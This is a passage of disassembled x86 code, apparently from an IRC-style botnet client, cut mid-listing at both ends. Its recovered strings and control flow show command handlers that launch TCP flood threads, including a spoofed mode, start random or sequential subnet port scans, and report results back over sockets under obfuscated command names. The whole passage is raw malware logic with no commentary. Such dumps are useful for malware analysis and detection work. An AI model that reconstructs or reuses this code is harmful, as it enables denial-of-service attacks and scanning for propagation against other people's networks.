eax call sub_422120 pop ecx push eax lea eax, [ebp+var_42E0] push eax push [ebp+arg_C] call dword_42F288 ; send cmp eax, 0FFFFFFFFh jz short loc_40A35C push ebx lea eax, [ebp+var_3CD8] push 80h push eax push [ebp+arg_C] call dword_42F28C ; recv cmp eax, 0FFFFFFFFh jnz short loc_40A39F loc_40A35C: ; CODE XREF: sub_403B2C+67C8j ; sub_403B2C+6813j cmp [ebp+arg_14], 0 mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" mov esi, offset aSSocketError_ ; "%s Socket Error." jnz short loc_40A37C push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40A37C: ; CODE XREF: sub_403B2C+683Ej cmp [ebp+arg_18], 0 jz short loc_40A391 push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 10h loc_40A391: ; CODE XREF: sub_403B2C+6854j push [ebp+arg_C] call dword_42F298 ; closesocket jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40A39F: ; CODE XREF: sub_403B2C+682Ej push [ebp+arg_C] call dword_42F298 ; closesocket lea eax, [ebp+var_3CD8] push offset asc_433F80 ; "\n" push eax call sub_422248 push eax lea eax, [ebp+var_ACAC] push eax call sub_422063 add esp, 10h cmp [ebp+arg_14], ebx mov esi, offset aS_1 ; "%s" jnz short loc_40A3E9 lea eax, [ebp+var_ACAC] push eax push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40A3E9: ; CODE XREF: sub_403B2C+68A5j cmp [ebp+arg_18], ebx jz loc_404808 lea eax, [ebp+var_ACAC] push eax jmp loc_40484C ; --------------------------------------------------------------------------- loc_40A3FE: ; CODE XREF: sub_403B2C+665Dj ; sub_403B2C+671Cj ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_40A40D: ; CODE XREF: sub_403B2C+4FD4j ; sub_403B2C+4FE5j ... xor ebx, ebx cmp [esi+4], ebx jz loc_40A5E8 cmp [esi+8], ebx jz loc_40A5E8 cmp [esi+0Ch], ebx jz loc_40A5E8 cmp [esi+10h], ebx jz loc_40A5E8 push 11h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_40A486 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset a8sxng_tdfrt ; "8sXNG.tDfrt/" jnz short loc_40A46F cmp [ebp+arg_18], 0 jnz short loc_40A479 push eax push offset aTcpThreads ; "Tcp Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40A46F: ; CODE XREF: sub_403B2C+6925j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40A479: ; CODE XREF: sub_403B2C+692Bj push [ebp+arg_C] push offset aTcpThreads ; "Tcp Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_40A486: ; CODE XREF: sub_403B2C+6915j mov eax, [ebp+arg_14] mov [ebp+var_1070], eax mov eax, [ebp+arg_18] mov [ebp+var_1074], eax cmp eax, ebx lea eax, [ebp+var_1108] jnz short loc_40A4A7 push dword ptr [edi+0Ch] jmp short loc_40A4A9 ; --------------------------------------------------------------------------- loc_40A4A7: ; CODE XREF: sub_403B2C+6974j push dword ptr [edi] loc_40A4A9: ; CODE XREF: sub_403B2C+6979j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1210], eax push dword ptr [esi+4] lea eax, [ebp+var_1208] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_1084], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_1080], eax push dword ptr [esi+10h] call sub_422B5A push 20h mov [ebp+var_107C], eax push dword ptr [esi] lea eax, [ebp+var_1188] push eax call sub_4222F0 add esp, 24h xor eax, eax cmp [ebp+arg_68], ebx setnz al cmp eax, ebx mov [ebp+var_1078], eax mov ebx, offset aSpoofed ; "Spoofed" jnz short loc_40A523 mov ebx, offset aNormal ; "Normal" loc_40A523: ; CODE XREF: sub_403B2C+69F0j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx mov ebx, offset a8sxng_tdfrt ; "8sXNG.tDfrt/" push ebx push offset aSSSDForDSecs_ ; "%s %s --> (%s:%d) for %d secs." push 11h call sub_41BED7 add esp, 1Ch mov [ebp+var_1088], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_1210] push esi push eax push offset sub_40C847 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_1088] imul ecx, 1018h cmp eax, esi mov esi, dword_42F068 mov dword_46D414[ecx], eax jnz short loc_40A5DD cmp [ebp+arg_14], 0 jnz short loc_40A5B0 cmp [ebp+arg_18], 0 jnz short loc_40A5BA call esi ; dword_42F068 push eax push ebx push offset aSFailedToSta_4 ; "%s Failed to start flood thread, error:"... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_40A5B0: ; CODE XREF: sub_403B2C+6A65j ; sub_403B2C+6ABAj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40A5BA: ; CODE XREF: sub_403B2C+6A6Bj call esi ; dword_42F068 push eax push ebx push offset aSFailedToSta_4 ; "%s Failed to start flood thread, error:"... loc_40A5C3: ; CODE XREF: sub_403B2C+686j ; sub_403B2C+A5Bj ... push dword ptr [edi] push [ebp+arg_10] call sub_410491 loc_40A5CD: ; CODE XREF: sub_403B2C+104Aj ; sub_403B2C+1DD2j ... add esp, 14h jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40A5D5: ; CODE XREF: sub_403B2C+6AB8j push 32h call dword_42F15C ; Sleep loc_40A5DD: ; CODE XREF: sub_403B2C+6A5Fj cmp [ebp+var_106C], 0 jz short loc_40A5D5 jmp short loc_40A5B0 ; --------------------------------------------------------------------------- loc_40A5E8: ; CODE XREF: sub_403B2C+68E6j ; sub_403B2C+68EFj ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset a8sxng_tdfrt ; "8sXNG.tDfrt/" jmp loc_407722 ; --------------------------------------------------------------------------- loc_40A5F7: ; CODE XREF: sub_403B2C+4787j ; sub_403B2C+4798j ... xor eax, eax cmp [esi+4], eax jz loc_40AD70 cmp [esi+8], eax jz loc_40AD70 cmp [esi+0Ch], eax jz loc_40AD70 push 8 call sub_41C235 push dword ptr [esi+4] mov [ebp+arg_C], eax call sub_422B5A add eax, [ebp+arg_C] pop ecx pop ecx cmp eax, 0C9h jg loc_40AF54 push dword ptr [esi] xor eax, eax mov [ebp+var_8], eax mov [ebp+var_4], eax push offset aWn7_tNza2v ; "wN7.t/nZA2V/" mov [ebp+var_14], eax mov [ebp+var_C], eax mov [ebp+var_1C], eax mov [ebp+var_10], eax mov [ebp+var_18], eax mov [ebp+var_20], eax mov [ebp+var_28], eax call ebx ; dword_42F070 test eax, eax jnz short loc_40A671 mov eax, dword_43295C mov [ebp+var_8], 1 jmp loc_40A757 ; --------------------------------------------------------------------------- loc_40A671: ; CODE XREF: sub_403B2C+6B32j push dword ptr [esi] push offset aGkyv90skypy ; "gkYv90Skypy/" call ebx ; dword_42F070 test eax, eax jnz short loc_40A68F mov eax, dword_432960 mov [ebp+var_4], 1 jmp loc_40A757 ; --------------------------------------------------------------------------- loc_40A68F: ; CODE XREF: sub_403B2C+6B50j push dword ptr [esi] push offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1" call ebx ; dword_42F070 test eax, eax jnz short loc_40A6AD mov eax, dword_432964 mov [ebp+var_14], 1 jmp loc_40A757 ; --------------------------------------------------------------------------- loc_40A6AD: ; CODE XREF: sub_403B2C+6B6Ej push dword ptr [esi] push offset aNPbw1sdkiw_ ; "N/pbW1sDKiw." call ebx ; dword_42F070 test eax, eax jnz short loc_40A6CB mov eax, dword_432968 mov [ebp+var_C], 1 jmp loc_40A757 ; --------------------------------------------------------------------------- loc_40A6CB: ; CODE XREF: sub_403B2C+6B8Cj push dword ptr [esi] push offset aFdxpb0leh21_ ; "fDxPB0lEh21." call ebx ; dword_42F070 test eax, eax jnz short loc_40A6E6 mov eax, dword_43296C mov [ebp+var_1C], 1 jmp short loc_40A757 ; --------------------------------------------------------------------------- loc_40A6E6: ; CODE XREF: sub_403B2C+6BAAj push dword ptr [esi] push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" call ebx ; dword_42F070 test eax, eax jnz short loc_40A701 mov eax, dword_432970 mov [ebp+var_10], 1 jmp short loc_40A757 ; --------------------------------------------------------------------------- loc_40A701: ; CODE XREF: sub_403B2C+6BC5j push dword ptr [esi] push offset aUts3o_rfmks_ ; "uts3o.RfmkS." call ebx ; dword_42F070 test eax, eax jnz short loc_40A71C mov eax, dword_432974 mov [ebp+var_18], 1 jmp short loc_40A757 ; --------------------------------------------------------------------------- loc_40A71C: ; CODE XREF: sub_403B2C+6BE0j push dword ptr [esi] push offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1" call ebx ; dword_42F070 test eax, eax jnz short loc_40A737 mov eax, dword_432978 mov [ebp+var_20], 1 jmp short loc_40A757 ; --------------------------------------------------------------------------- loc_40A737: ; CODE XREF: sub_403B2C+6BFBj push dword ptr [esi] push offset aQxqog1goyq80 ; "QXqOg1gOYq80" call ebx ; dword_42F070 test eax, eax jnz short loc_40A752 mov eax, dword_43297C mov [ebp+var_28], 1 jmp short loc_40A757 ; --------------------------------------------------------------------------- loc_40A752: ; CODE XREF: sub_403B2C+6C16j mov eax, dword_432958 loc_40A757: ; CODE XREF: sub_403B2C+6B40j ; sub_403B2C+6B5Ej ... and [ebp+arg_8], 0 mov [ebp+arg_0], eax test eax, eax jle loc_40AF54 mov ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" loc_40A76B: ; CODE XREF: sub_403B2C+715Fj push dword ptr [esi+4] call sub_422B5A cdq idiv [ebp+arg_0] mov [ebp+var_9C], eax push dword ptr [esi+4] call sub_422B5A cdq idiv [ebp+arg_0] pop ecx pop ecx cmp eax, 28h jle short loc_40A79A mov [ebp+var_9C], 28h loc_40A79A: ; CODE XREF: sub_403B2C+6C62j push dword ptr [esi+8] call sub_422B5A cmp eax, 1 pop ecx mov [ebp+var_B0], eax jnb short loc_40A7B7 xor eax, eax inc eax mov [ebp+var_B0], eax loc_40A7B7: ; CODE XREF: sub_403B2C+6C80j push 6 pop ecx cmp eax, ecx jbe short loc_40A7C4 mov [ebp+var_B0], ecx loc_40A7C4: ; CODE XREF: sub_403B2C+6C90j push dword ptr [esi+0Ch] call sub_422B5A cmp eax, 270Fh pop ecx mov [ebp+var_AC], eax jbe short loc_40A7E4 mov [ebp+var_AC], 270Fh loc_40A7E4: ; CODE XREF: sub_403B2C+6CACj or [ebp+var_98], 0FFFFFFFFh and [ebp+arg_C], 0 cmp dword_432088, 0 jz loc_40A8F3 mov [ebp+arg_4], offset dword_432050 loc_40A803: ; CODE XREF: sub_403B2C+6DA6j xor eax, eax cmp [ebp+var_8], eax jz short loc_40A81A mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_432658 jmp loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A81A: ; CODE XREF: sub_403B2C+6CDCj cmp [ebp+var_4], eax jz short loc_40A82F mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_4326C0 jmp loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A82F: ; CODE XREF: sub_403B2C+6CF1j cmp [ebp+var_14], eax jz short loc_40A841 mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_432710 jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A841: ; CODE XREF: sub_403B2C+6D06j cmp [ebp+var_C], eax jz short loc_40A853 mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_432760 jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A853: ; CODE XREF: sub_403B2C+6D18j cmp [ebp+var_1C], eax jz short loc_40A865 mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_4327B0 jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A865: ; CODE XREF: sub_403B2C+6D2Aj cmp [ebp+var_10], eax jz short loc_40A877 mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_432800 jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A877: ; CODE XREF: sub_403B2C+6D3Cj cmp [ebp+var_18], eax jz short loc_40A889 mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_432868 jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A889: ; CODE XREF: sub_403B2C+6D4Ej cmp [ebp+var_20], eax jz short loc_40A89B mov eax, [ebp+arg_8] imul eax, 1Ah add eax, offset dword_4328B8 loc_40A899: ; DATA XREF: .text:00438F54o ; .text:00438F98o ... jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A89B: ; CODE XREF: sub_403B2C+6D60j cmp [ebp+var_28], eax mov eax, [ebp+arg_8] jz short loc_40A8AD imul eax, 1Ah add eax, offset dword_432908 jmp short loc_40A8B5 ; --------------------------------------------------------------------------- loc_40A8AD: ; CODE XREF: sub_403B2C+6D75j imul eax, 1Ah add eax, offset dword_4325F0 loc_40A8B5: ; CODE XREF: sub_403B2C+6CE9j ; sub_403B2C+6CFEj ... push eax push [ebp+arg_4] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_40A8DA add [ebp+arg_4], 48h inc [ebp+arg_C] mov eax, [ebp+arg_4] cmp dword ptr [eax+38h], 0 jnz loc_40A803 jmp short loc_40A8F3 ; --------------------------------------------------------------------------- loc_40A8DA: ; CODE XREF: sub_403B2C+6D96j mov eax, [ebp+arg_C] mov [ebp+var_98], eax lea ecx, [eax+eax*8] mov ecx, dword_432088[ecx*8] mov [ebp+var_B4], ecx loc_40A8F3: ; CODE XREF: sub_403B2C+6CCAj ; sub_403B2C+6DACj xor ecx, ecx cmp [ebp+var_B4], ecx jnz short loc_40A93D cmp [ebp+arg_14], ecx jnz short loc_40A91B cmp [ebp+arg_18], ecx jnz short loc_40A925 push ebx push offset aSInvalidPort_ ; "%s Invalid port." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40A91B: ; CODE XREF: sub_403B2C+6DD4j cmp [ebp+arg_18], 0 jz loc_40AC82 loc_40A925: ; CODE XREF: sub_403B2C+6DD9j push ebx push offset aSPortInvalid_ ; "%s Port invalid." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 10h jmp loc_40AC82 ; --------------------------------------------------------------------------- loc_40A93D: ; CODE XREF: sub_403B2C+6DCFj mov eax, [esi+10h] cmp eax, ecx jz loc_40A9D0 push eax push offset aX_x_x_x ; "x.x.x.x" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40A9A1 call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx loc_40A966: ; CODE XREF: sub_403B2C+6E4Dj call sub_4220FC cdq mov ecx, 0F0h idiv ecx add edx, 4 cmp edx, 7Fh jz short loc_40A966 push edx push offset aD_x_x_x ; "%d.x.x.x" lea eax, [ebp+var_144] push 10h push eax call sub_42219B add esp, 10h loc_40A992: ; CODE XREF: sub_403B2C+7020j ; sub_403B2C+7028j ... mov [ebp+var_88], 1 jmp loc_40AB85 ; --------------------------------------------------------------------------- loc_40A9A1: ; CODE XREF: sub_403B2C+6E2Bj push dword ptr [esi+10h] lea eax, [ebp+var_144] push 10h push eax call sub_42219B push 78h push dword ptr [esi+10h] call sub_4233B0 add esp, 14h neg eax sbb eax, eax neg eax loc_40A9C5: ; CODE XREF: sub_403B2C+6F9Ej mov [ebp+var_88], eax jmp loc_40AB85 ; --------------------------------------------------------------------------- loc_40A9D0: ; CODE XREF: sub_403B2C+6E16j cmp [ebp+arg_60], ecx jnz short loc_40AA21 cmp [ebp+arg_50], ecx jnz short loc_40A9ED cmp [ebp+arg_54], ecx jnz short loc_40A9ED cmp [ebp+arg_58], ecx jnz short loc_40A9ED cmp [ebp+arg_5C], ecx jz loc_40AD53 loc_40A9ED: ; CODE XREF: sub_403B2C+6EACj ; sub_403B2C+6EB1j ... mov ecx, [ebp+arg_10] lea eax, [ebp+var_54] push eax lea eax, [ebp+var_4C] push eax mov [ebp+var_54], 10h call sub_41112B push eax call dword_4542A8 ; getsockname cmp [ebp+arg_50], 0 jz loc_40AACF and [ebp+var_48], 0FFh jmp loc_40AAE6 ; --------------------------------------------------------------------------- loc_40AA21: ; CODE XREF: sub_403B2C+6EA7j cmp [ebp+arg_50], ecx jz short loc_40AA2F mov [ebp+arg_C], 1 jmp short loc_40AA4D ; --------------------------------------------------------------------------- loc_40AA2F: ; CODE XREF: sub_403B2C+6EF8j cmp [ebp+arg_54], ecx jz short loc_40AA3D mov [ebp+arg_C], 2 jmp short loc_40AA4D ; --------------------------------------------------------------------------- loc_40AA3D: ; CODE XREF: sub_403B2C+6F06j cmp [ebp+arg_58], ecx jz loc_40AD5A mov [ebp+arg_C], 3 loc_40AA4D: ; CODE XREF: sub_403B2C+6F01j ; sub_403B2C+6F0Fj push offset byte_44D6A4 push offset dword_4552D0 call sub_422760 pop ecx test eax, eax pop ecx jz short loc_40AA71 push offset dword_4552D0 call sub_414173 test eax, eax pop ecx jz short loc_40AA9A loc_40AA71: ; CODE XREF: sub_403B2C+6F34j mov ecx, [ebp+arg_10] call sub_41111B mov ecx, [ebp+arg_10] push eax call sub_4105B8 push 2710h push eax mov [ebp+arg_4], eax call dword_42F064 ; WaitForSingleObject push [ebp+arg_4] call dword_42F038 ; CloseHandle loc_40AA9A: ; CODE XREF: sub_403B2C+6F43j push [ebp+arg_C] push [ebp+arg_5C] push offset dword_4552D0 call sub_401311 add esp, 0Ch test eax, eax jz loc_40AF54 push 10h push eax lea eax, [ebp+var_144] push eax call sub_4222F0 mov eax, [ebp+arg_5C] add esp, 0Ch jmp loc_40A9C5 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_403B2C+6EE3j cmp [ebp+arg_54], 0 jz short loc_40AADC and word ptr [ebp+var_48+2], 0 jmp short loc_40AAE6 ; --------------------------------------------------------------------------- loc_40AADC: ; CODE XREF: sub_403B2C+6FA7j cmp [ebp+arg_58], 0 jz short loc_40AAE6 and byte ptr [ebp+var_48+3], 0 loc_40AAE6: ; CODE XREF: sub_403B2C+6EF0j ; sub_403B2C+6FAEj ... push 10h push [ebp+var_48] call dword_45439C ; inet_ntoa push eax lea eax, [ebp+var_144] push eax call sub_4222F0 add esp, 0Ch cmp [ebp+arg_5C], 0 jz short loc_40AB7E xor eax, eax cmp [ebp+arg_50], eax mov [ebp+arg_4], eax jz short loc_40AB1A mov [ebp+arg_4], 3 jmp short loc_40AB34 ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_403B2C+6FE3j cmp [ebp+arg_54], eax jz short loc_40AB28 mov [ebp+arg_4], 2 jmp short loc_40AB34 ; --------------------------------------------------------------------------- loc_40AB28: ; CODE XREF: sub_403B2C+6FF1j cmp [ebp+arg_58], eax jz short loc_40AB34 mov [ebp+arg_4], 1 loc_40AB34: ; CODE XREF: sub_403B2C+6FECj ; sub_403B2C+6FFAj ... lea eax, [ebp+var_144] push 30h push eax call sub_4234F0 and byte ptr [ebp+arg_C+3], 0 cmp [ebp+arg_4], 0 pop ecx pop ecx jle loc_40A992 loc_40AB52: ; CODE XREF: sub_403B2C+704Bj test eax, eax jz loc_40A992 mov byte ptr [eax], 78h lea eax, [ebp+var_144] push 30h push eax call sub_4234F0 inc byte ptr [ebp+arg_C+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_C+3] cmp ecx, [ebp+arg_4] jl short loc_40AB52 jmp loc_40A992 ; --------------------------------------------------------------------------- loc_40AB7E: ; CODE XREF: sub_403B2C+6FD9j and [ebp+var_88], 0 loc_40AB85: ; CODE XREF: sub_403B2C+6E70j ; sub_403B2C+6E9Fj mov eax, [ebp+arg_14] mov ecx, [ebp+arg_10] mov [ebp+var_94], eax mov eax, [ebp+arg_20] mov [ebp+var_8C], eax mov eax, [ebp+arg_18] mov [ebp+var_90], eax mov [ebp+var_7C], ecx test eax, eax lea eax, [ebp+var_134] jz short loc_40ABB7 push offset dword_439638 jmp short loc_40ABBC ; --------------------------------------------------------------------------- loc_40ABB7: ; CODE XREF: sub_403B2C+7082j push offset dword_439644 loc_40ABBC: ; CODE XREF: sub_403B2C+7089j push eax call dword_42F04C ; lstrcpyA cmp [ebp+var_88], 0 mov eax, offset aRandom ; "Random" jnz short loc_40ABD6 mov eax, offset aSequential ; "Sequential" loc_40ABD6: ; CODE XREF: sub_403B2C+70A3j push [ebp+var_9C] lea ecx, [ebp+var_144] push [ebp+var_AC] push [ebp+var_B0] push [ebp+var_B4] push ecx push eax push ebx push offset aSSPortscanSt_0 ; "%s %s PortScan started on %s:%d with a "... push 8 call sub_41BED7 add esp, 24h mov [ebp+var_A8], eax lea eax, [ebp+arg_6C] lea ecx, [ebp+var_144] push eax xor eax, eax push eax push ecx push offset sub_40178D push eax push eax call dword_42F158 ; CreateThread mov ecx, [ebp+var_A8] imul ecx, 1018h test eax, eax mov dword_46D414[ecx], eax jnz short loc_40AC9E cmp [ebp+arg_14], eax jnz short loc_40AC62 cmp [ebp+arg_18], eax jnz short loc_40AC68 call dword_42F068 ; RtlGetLastWin32Error push eax push ebx push offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_40AC62: ; CODE XREF: sub_403B2C+7114j cmp [ebp+arg_18], 0 jz short loc_40AC82 loc_40AC68: ; CODE XREF: sub_403B2C+7119j call dword_42F068 ; RtlGetLastWin32Error push eax push ebx push offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "... push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 14h loc_40AC82: ; CODE XREF: sub_403B2C+6DF3j ; sub_403B2C+6E0Cj ... inc [ebp+arg_8] mov eax, [ebp+arg_8] cmp eax, [ebp+arg_0] jl loc_40A76B jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40AC96: ; CODE XREF: sub_403B2C+7179j push 32h call dword_42F15C ; Sleep loc_40AC9E: ; CODE XREF: sub_403B2C+710Fj cmp [ebp+var_84], 0 jz short loc_40AC96 xor eax, eax cmp [ebp+arg_14], eax jnz short loc_40ACFE cmp [ebp+arg_18], eax jnz short loc_40AD08 cmp [ebp+arg_1C], eax jnz short loc_40AC82 cmp [ebp+var_88], eax mov eax, offset aRandom ; "Random" jnz short loc_40ACCA mov eax, offset aSequential ; "Sequential" loc_40ACCA: ; CODE XREF: sub_403B2C+7197j push [ebp+var_9C] lea ecx, [ebp+var_144] push [ebp+var_AC] push [ebp+var_B0] push [ebp+var_B4] push ecx push eax push ebx push offset aSSPortscanSt_0 ; "%s %s PortScan started on %s:%d with a "... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 28h loc_40ACFE: ; CODE XREF: sub_403B2C+7180j cmp [ebp+arg_18], 0 jz loc_40AC82 loc_40AD08: ; CODE XREF: sub_403B2C+7185j cmp [ebp+var_88], 0 mov eax, offset aRandom ; "Random" jnz short loc_40AD1B mov eax, offset aSequential ; "Sequential" loc_40AD1B: ; CODE XREF: sub_403B2C+71E8j push [ebp+var_9C] lea ecx, [ebp+var_144] push [ebp+var_AC] push [ebp+var_B0] push [ebp+var_B4] push ecx push eax push ebx push offset aSSPortscanSt_0 ; "%s %s PortScan started on %s:%d with a "... push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 28h jmp loc_40AC82 ; --------------------------------------------------------------------------- loc_40AD53: ; CODE XREF: sub_403B2C+6EBBj mov esi, offset aSNoIpSpecifi_0 ; "%s No IP specified" jmp short loc_40AD5F ; --------------------------------------------------------------------------- loc_40AD5A: ; CODE XREF: sub_403B2C+6F14j mov esi, offset aSNoSubnetCla_0 ; "%s No subnet class specified" loc_40AD5F: ; CODE XREF: sub_403B2C+15EDj ; sub_403B2C+3F75j ... cmp [ebp+arg_14], ecx jnz loc_407742 cmp [ebp+arg_18], ecx jmp loc_40772C ; --------------------------------------------------------------------------- loc_40AD70: ; CODE XREF: sub_403B2C+425Ej ; sub_403B2C+4267j ... mov ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" loc_40AD75: ; CODE XREF: sub_403B2C+179Cj mov esi, offset aSMissingParamS ; "%s Missing param(s)" loc_40AD7A: ; CODE XREF: sub_403B2C+4375j ; sub_403B2C+4440j ... cmp [ebp+arg_14], eax jnz short loc_40AD96 cmp [ebp+arg_18], eax jnz short loc_40AD9F push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h xor eax, eax loc_40AD96: ; CODE XREF: sub_403B2C+7251j cmp [ebp+arg_18], eax loc_40AD99: ; CODE XREF: sub_403B2C+3C1Aj ; sub_403B2C+4FC4j jz loc_40AF54 loc_40AD9F: ; CODE XREF: sub_403B2C+282j ; sub_403B2C:loc_40772Cj ... push ebx loc_40ADA0: ; CODE XREF: sub_403B2C+147Ej ; sub_403B2C+203Ej ... push esi loc_40ADA1: ; CODE XREF: sub_403B2C+3B5Cj ; sub_403B2C+3CA0j ... push dword ptr [edi] push [ebp+arg_10] call sub_410491 loc_40ADAB: ; CODE XREF: sub_403B2C+113j ; sub_403B2C+3E2j ... add esp, 10h jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40ADB3: ; CODE XREF: sub_403B2C+148Ej ; sub_403B2C+149Fj push dword ptr [esi] push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" call ebx ; dword_42F070 mov ebx, eax push 2 neg ebx sbb ebx, ebx inc ebx call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_40AE16 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset off_434A64 jnz short loc_40ADFE cmp [ebp+arg_18], 0 jnz short loc_40AE08 push eax push ebx push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40ADFE: ; CODE XREF: sub_403B2C+72B4j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40AE08: ; CODE XREF: sub_403B2C+72BAj push [ebp+arg_C] push ebx push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp loc_40AF46 ; --------------------------------------------------------------------------- loc_40AE16: ; CODE XREF: sub_403B2C+72A4j mov eax, [ebp+arg_14] mov [ebp+var_3964], eax mov eax, [ebp+arg_20] mov [ebp+var_3968], eax push dword ptr [edi+0Ch] lea eax, [ebp+var_3A14] push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] xor esi, esi cmp ebx, esi mov [ebp+var_3A18], eax mov [ebp+var_3984], ebx mov [ebp+var_3980], esi mov ecx, offset aSecure ; "Secure" jnz short loc_40AEAA mov ecx, offset aUnsecure ; "Unsecure" mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_40AE62: ; CODE XREF: sub_403B2C+7383j push ecx push eax push offset aSS_ ; "%s %s." push 2 call sub_41BED7 add esp, 10h mov [ebp+var_3994], eax lea eax, [ebp+arg_6C] push eax lea eax, [ebp+var_3A18] push esi push eax push offset sub_41B226 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_3994] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz short loc_40AEC6 jmp short loc_40AEB9 ; --------------------------------------------------------------------------- loc_40AEAA: ; CODE XREF: sub_403B2C+732Aj mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp short loc_40AE62 ; --------------------------------------------------------------------------- loc_40AEB1: ; CODE XREF: sub_403B2C+7393j push 32h call dword_42F15C ; Sleep loc_40AEB9: ; CODE XREF: sub_403B2C+737Cj cmp [ebp+var_395C], esi jz short loc_40AEB1 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40AEC6: ; CODE XREF: sub_403B2C+737Aj cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_40AF0C cmp [ebp+arg_18], 0 jnz short loc_40AF12 test ebx, ebx mov [ebp+arg_C], offset aSecure ; "Secure" jnz short loc_40AF26 mov [ebp+arg_C], offset aUnsecure ; "Unsecure" mov [ebp+arg_4], offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_40AEF0: ; CODE XREF: sub_403B2C+7401j call dword_42F068 ; RtlGetLastWin32Error push eax push [ebp+arg_C] push [ebp+arg_4] push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40AF0C: ; CODE XREF: sub_403B2C+73A3j cmp [ebp+arg_18], 0 jz short loc_40AF54 loc_40AF12: ; CODE XREF: sub_403B2C+73A9j test ebx, ebx mov [ebp+arg_C], offset aSecure ; "Secure" jnz short loc_40AF2F mov [ebp+arg_C], offset aUnsecure ; "Unsecure" jmp short loc_40AF36 ; --------------------------------------------------------------------------- loc_40AF26: ; CODE XREF: sub_403B2C+73B4j mov [ebp+arg_4], offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp short loc_40AEF0 ; --------------------------------------------------------------------------- loc_40AF2F: ; CODE XREF: 